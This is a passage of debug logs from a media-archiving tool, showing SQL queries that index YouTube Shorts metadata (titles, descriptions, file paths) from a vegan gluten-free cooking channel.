https://app.hellothematic.com/?via=steamyvegan \nMusic by Mark Generous - Sing Me To Sleep - https://thmatc.co/?l=FBC67488", "All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝", 1, 15, false, "TfMejTHNHwE", "https://www.youtube.com/shorts/TfMejTHNHwE", "/downloads/downloads/alec/Steamy Vegan/2022-05-06 All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝/All the EPIC VEGAN FOOD we ate on BOWEN ISLAND 🏝 [TfMejTHNHwE].NA", true, ~U[2022-05-06 17:55:29Z]] 20:31:11.232 [debug] QUERY OK source="sources" db=0.3ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.234 [debug] QUERY OK source="media_items" db=1.6ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-05 15:59:25Z], 1] 20:31:11.235 [debug] QUERY OK source="media_items" db=0.7ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["That's right, we jam packed all that epic goodness into a grilled cheese - did we mention it's VEGAN and GLUTEN-FREE?! \n\nIf you want to see all the others we came up with, definitely watch the FULL VIDEO of our Cheat Day Challenge below!\nhttps://youtu.be/2PBpb8LJWwE", "Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯", "26875001-0b24-47f0-9566-12130b740256", 1, [], 17, false, "VsxQvoWHSHU", "https://www.youtube.com/shorts/VsxQvoWHSHU", 471, "/downloads/downloads/alec/Steamy Vegan/2022-05-05 Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯/Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯 [VsxQvoWHSHU].NA", false, false, true, 1, ~U[2022-05-05 15:59:25Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "That's right, we jam packed all that epic goodness into a grilled cheese - did we mention it's VEGAN and GLUTEN-FREE?! \n\nIf you want to see all the others we came up with, definitely watch the FULL VIDEO of our Cheat Day Challenge below!\nhttps://youtu.be/2PBpb8LJWwE", "Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯", 1, 17, false, "VsxQvoWHSHU", "https://www.youtube.com/shorts/VsxQvoWHSHU", "/downloads/downloads/alec/Steamy Vegan/2022-05-05 Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯/Sausage, cheese, hash browns, chocolate and whipped cream in a French toast grilled cheese?!? 🤯 [VsxQvoWHSHU].NA", true, ~U[2022-05-05 15:59:25Z]] 20:31:11.236 [debug] QUERY OK source="sources" db=0.7ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.238 [debug] QUERY OK source="media_items" db=2.0ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-04 15:57:05Z], 1] 20:31:11.239 [debug] QUERY OK source="media_items" db=0.6ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We all like to party but some of us don't party hard over the fear of the dreaded hangover the next day. Don't worry, we've got you covered with the best hangover foods to eliminate that hangover the next day.\n\nCOMING SOON! Subscribe to be the first to see this upcoming video!", "Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts", "9c0006a3-4c15-4920-813b-c8212a240074", 1, [], 11, false, "tJ-ZX1ZUAqM", "https://www.youtube.com/shorts/tJ-ZX1ZUAqM", 472, "/downloads/downloads/alec/Steamy Vegan/2022-05-04 Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts/Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts [tJ-ZX1ZUAqM].NA", false, false, true, 1, ~U[2022-05-04 15:57:05Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "We all like to party but some of us don't party hard over the fear of the dreaded hangover the next day. Don't worry, we've got you covered with the best hangover foods to eliminate that hangover the next day.\n\nCOMING SOON! Subscribe to be the first to see this upcoming video!", "Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts", 1, 11, false, "tJ-ZX1ZUAqM", "https://www.youtube.com/shorts/tJ-ZX1ZUAqM", "/downloads/downloads/alec/Steamy Vegan/2022-05-04 Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts/Have a hangover? Partied too hard? 'The Captain' is here to help with his top hangover foods #shorts [tJ-ZX1ZUAqM].NA", true, ~U[2022-05-04 15:57:05Z]] 20:31:11.240 [debug] QUERY OK source="sources" db=0.9ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.243 [debug] QUERY OK source="media_items" db=2.3ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-03 18:25:33Z], 1] 20:31:11.245 [debug] QUERY OK source="media_items" db=0.8ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Who doesn't love donuts just as much as Homer Simpson from The Simpsons. Whenever we go on a road trip we always bring these vegan gluten free donuts from Cartems donuts to summon our inner Homer Simpson. They are the most epic vegan gluten free donuts we've ever tried.\n\nCheck out our full road trip to Bowen Island, donuts included here: https://youtu.be/nu4z1cbo8QQ", "Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts", "c8940ee4-e5ef-4da8-986a-038c272a4591", 1, [], 34, false, "q5-dgED-H0I", "https://www.youtube.com/shorts/q5-dgED-H0I", 473, "/downloads/downloads/alec/Steamy Vegan/2022-05-03 Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts/Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts [q5-dgED-H0I].NA", false, false, true, 3, ~U[2022-05-03 18:25:33Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Who doesn't love donuts just as much as Homer Simpson from The Simpsons. Whenever we go on a road trip we always bring these vegan gluten free donuts from Cartems donuts to summon our inner Homer Simpson. They are the most epic vegan gluten free donuts we've ever tried.\n\nCheck out our full road trip to Bowen Island, donuts included here: https://youtu.be/nu4z1cbo8QQ", "Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts", 1, 34, false, "q5-dgED-H0I", "https://www.youtube.com/shorts/q5-dgED-H0I", "/downloads/downloads/alec/Steamy Vegan/2022-05-03 Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts/Just like Homer Simpson we'd also like all the vegan gluten free donuts in the world #shorts [q5-dgED-H0I].NA", true, ~U[2022-05-03 18:25:33Z]] 20:31:11.246 [debug] QUERY OK source="sources" db=1.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.249 [debug] QUERY OK source="media_items" db=2.1ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-03 10:00:16Z], 1] 20:31:11.250 [debug] QUERY OK source="media_items" db=0.7ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["An enormously epic grilled cheese with the most iconic line ever from Steve Carell as Michael Scott in the American TV show The Office. The full episode has 4 epic, enormous, and mouth watering grilled cheeses that you won't be able to resist. \"That's what she said!\"\n\nWatch the full cheat day challenge episode here: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts", "81bc8759-2e19-4497-8f01-e6e0ba296255", 1, [], 15, false, "f_RE7-IxM4g", "https://www.youtube.com/shorts/f_RE7-IxM4g", 474, "/downloads/downloads/alec/Steamy Vegan/2022-05-03 What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts/What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts [f_RE7-IxM4g].NA", false, false, true, 3, ~U[2022-05-03 10:00:16Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "An enormously epic grilled cheese with the most iconic line ever from Steve Carell as Michael Scott in the American TV show The Office. The full episode has 4 epic, enormous, and mouth watering grilled cheeses that you won't be able to resist. \"That's what she said!\"\n\nWatch the full cheat day challenge episode here: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts", 1, 15, false, "f_RE7-IxM4g", "https://www.youtube.com/shorts/f_RE7-IxM4g", "/downloads/downloads/alec/Steamy Vegan/2022-05-03 What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts/What Would Michael Scott Say About This Mouthful of a Grilled Cheese #shorts [f_RE7-IxM4g].NA", true, ~U[2022-05-03 10:00:16Z]] 20:31:11.250 [debug] QUERY OK source="sources" db=0.5ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.253 [debug] QUERY OK source="media_items" db=2.3ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-02 23:29:33Z], 1] 20:31:11.254 [debug] QUERY OK source="media_items" db=1.1ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Everyone deserves to have a cheat day once per week, why not try these 4 grilled cheese sandwiches? Even better, you can make them vegan and gluten free to satisfy all your cravings and allergen needs. \n\nOn our channel 'Steamy Vegan Kitchen' we believe food should be fun, delicious, healthy and shared with the ones you love. Subscribe and enjoy some of our food adventures and recipes as we enjoy sharing our love for gluten free and vegan cooking.\n\nFull Video: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts", "0377848e-5328-490e-a73c-620d16d4feff", 1, [], 57, false, "0XV53k7Vv4Q", "https://www.youtube.com/shorts/0XV53k7Vv4Q", 475, "/downloads/downloads/alec/Steamy Vegan/2022-05-02 Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts/Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts [0XV53k7Vv4Q].NA", false, false, true, 1, ~U[2022-05-02 23:29:33Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Everyone deserves to have a cheat day once per week, why not try these 4 grilled cheese sandwiches? Even better, you can make them vegan and gluten free to satisfy all your cravings and allergen needs. \n\nOn our channel 'Steamy Vegan Kitchen' we believe food should be fun, delicious, healthy and shared with the ones you love. Subscribe and enjoy some of our food adventures and recipes as we enjoy sharing our love for gluten free and vegan cooking.\n\nFull Video: https://youtu.be/2PBpb8LJWwE\n\nWebsite: SteamyVeganKitchen.com", "Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts", 1, 57, false, "0XV53k7Vv4Q", "https://www.youtube.com/shorts/0XV53k7Vv4Q", "/downloads/downloads/alec/Steamy Vegan/2022-05-02 Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts/Craving an epic grilled cheese cheat day? Try these 4 vegan and gluten free grilled cheeses #shorts [0XV53k7Vv4Q].NA", true, ~U[2022-05-02 23:29:33Z]] 20:31:11.255 [debug] QUERY OK source="sources" db=0.5ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.257 [debug] QUERY OK source="media_items" db=1.6ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-30 16:35:49Z], 1] 20:31:11.258 [debug] QUERY OK source="media_items" db=0.7ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Nothing beats donuts, and gluten free vegan ones make you feel even better about yourself. Yes, they're definitely still great vegan gluten free donuts a day later.\n\nCheck out the full vlog food adventure here (featuring 7 epic vegan gluten free donuts): https://youtu.be/nu4z1cbo8QQ\n\nWebsite: SteamyVeganKitchen.com", "CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old", "9f2f9fba-8d2d-475d-84df-d1b7a70e052c", 1, [], 10, false, "yV9j5iQ60ic", "https://www.youtube.com/shorts/yV9j5iQ60ic", 476, "/downloads/downloads/alec/Steamy Vegan/2022-04-30 CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old/CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old [yV9j5iQ60ic].NA", false, false, true, 2, ~U[2022-04-30 16:35:49Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Nothing beats donuts, and gluten free vegan ones make you feel even better about yourself. Yes, they're definitely still great vegan gluten free donuts a day later.\n\nCheck out the full vlog food adventure here (featuring 7 epic vegan gluten free donuts): https://youtu.be/nu4z1cbo8QQ\n\nWebsite: SteamyVeganKitchen.com", "CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old", 1, 10, false, "yV9j5iQ60ic", "https://www.youtube.com/shorts/yV9j5iQ60ic", "/downloads/downloads/alec/Steamy Vegan/2022-04-30 CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old/CARTEMS VEGAN GLUTEN-FREE DONUTS 🍩 still good a day old [yV9j5iQ60ic].NA", true, ~U[2022-04-30 16:35:49Z]] 20:31:11.259 [debug] QUERY OK source="sources" db=0.5ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.261 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=4.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-29 15:07:20Z], 1] 20:31:11.262 [debug] QUERY OK source="media_items" db=0.7ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["After seeing some of the ways Amber Heard and Johnny Depp have abused one another, in their defamation lawsuit, I'm reminded of how I abuse my husband. Here's a video showing everyone acceptable versus unacceptable ways to abuse their husbands (take notes Johnny Depp and Amber Heard)\n\nSubscribe and stay tuned for more shorts and long form videos about vegan and gluten free cooking.\n\nWebsite: SteamyVeganKitchen.com", "Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts", "6fdf2abf-6b0e-45c4-a7ce-72b793850bfb", 1, [], 29, false, "ZC6tNvvrBkk", "https://www.youtube.com/shorts/ZC6tNvvrBkk", 477, "/downloads/downloads/alec/Steamy Vegan/2022-04-29 Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts/Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts [ZC6tNvvrBkk].NA", false, false, true, 1, ~U[2022-04-29 15:07:20Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "After seeing some of the ways Amber Heard and Johnny Depp have abused one another, in their defamation lawsuit, I'm reminded of how I abuse my husband. Here's a video showing everyone acceptable versus unacceptable ways to abuse their husbands (take notes Johnny Depp and Amber Heard)\n\nSubscribe and stay tuned for more shorts and long form videos about vegan and gluten free cooking.\n\nWebsite: SteamyVeganKitchen.com", "Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts", 1, 29, false, "ZC6tNvvrBkk", "https://www.youtube.com/shorts/ZC6tNvvrBkk", "/downloads/downloads/alec/Steamy Vegan/2022-04-29 Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts/Take Notes Amber Heard - Acceptable Versus Unacceptable Ways to Abuse Your Husband #shorts [ZC6tNvvrBkk].NA", true, ~U[2022-04-29 15:07:20Z]] 20:31:11.262 [debug] QUERY OK source="sources" db=0.5ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.264 [debug] QUERY OK source="media_items" db=1.8ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-28 21:26:32Z], 1] 20:31:11.267 [debug] QUERY OK source="media_items" db=2.0ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["An epic episode filled with comedy, trash talking, and vegan grilled cheese like you've never seen it done before. If you like grilled cheese, wrestling quotes, and Jonah Hill or Channing Tatum then you'll want to subscribe to the channel and check out the full video.\n\nWebsite: steamyvegankitchen.com", "Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts", "6b06f737-a526-4554-b4b6-498015aaf9df", 1, [], 15, false, "VX4WHH1PqTQ", "https://www.youtube.com/shorts/VX4WHH1PqTQ", 478, "/downloads/downloads/alec/Steamy Vegan/2022-04-28 Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts/Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts [VX4WHH1PqTQ].NA", false, false, true, 2, ~U[2022-04-28 21:26:32Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "An epic episode filled with comedy, trash talking, and vegan grilled cheese like you've never seen it done before. If you like grilled cheese, wrestling quotes, and Jonah Hill or Channing Tatum then you'll want to subscribe to the channel and check out the full video.\n\nWebsite: steamyvegankitchen.com", "Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts", 1, 15, false, "VX4WHH1PqTQ", "https://www.youtube.com/shorts/VX4WHH1PqTQ", "/downloads/downloads/alec/Steamy Vegan/2022-04-28 Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts/Epic Trippy Cheat Day Challenge Vegan Grilled Cheese with Jonah Hill and Channing Tatum #shorts [VX4WHH1PqTQ].NA", true, ~U[2022-04-28 21:26:32Z]] 20:31:11.267 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.269 [debug] QUERY OK source="media_items" db=1.7ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-28 17:05:30Z], 1] 20:31:11.271 [debug] QUERY OK source="media_items" db=1.1ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to wash + prep [rescued] baby bok choy 🥬 feat. @pekoproduce !\n\nRegular and baby bok choy can be pretty dirty - so here’s the easiest way to wash and prep them so you can get straight to munching 😁\n\nSlice off the bottom inch - place the leafy greens in a colander - rinse in cold water thoroughly to wash off any dirt - dry in a salad spinner/towel - READY TO USE! 🤩\n\nI steamed them with just a pinch of salt and pepper - simply delicious! 😍 Who else got some of this good green stuff in their #pekoproduce box this week? 🥬🥬🥬\n\nPS: Peko Produce is Vancouver’s 🇨🇦 first imperfect produce delivery service that saves thousands of pounds of perfectly edible/surplus produce from going to our #landfills. They are helping to battle Canada’s #foodwaste crises and have made it SO easy for you too, as well! For only $25 per mystery box of ‘peculiar’ produce you can help Peko, our farmers and Mother Earth 🌍 $5 OFF LINK IN @steamyvegankitchen BIO! \n\n#steamyvegankitchen #steamyvegan #foodwastewarriors #climatecrises #foodprepping #foodprepideas #mealprepideas #vancityvegans #vancityfoodies #vancouvervegans #vancouverveganfoodie\n\nMusic by frumhere - designer sadness. - https://thmatc.co/?l=795A6766", "WASH YOUR 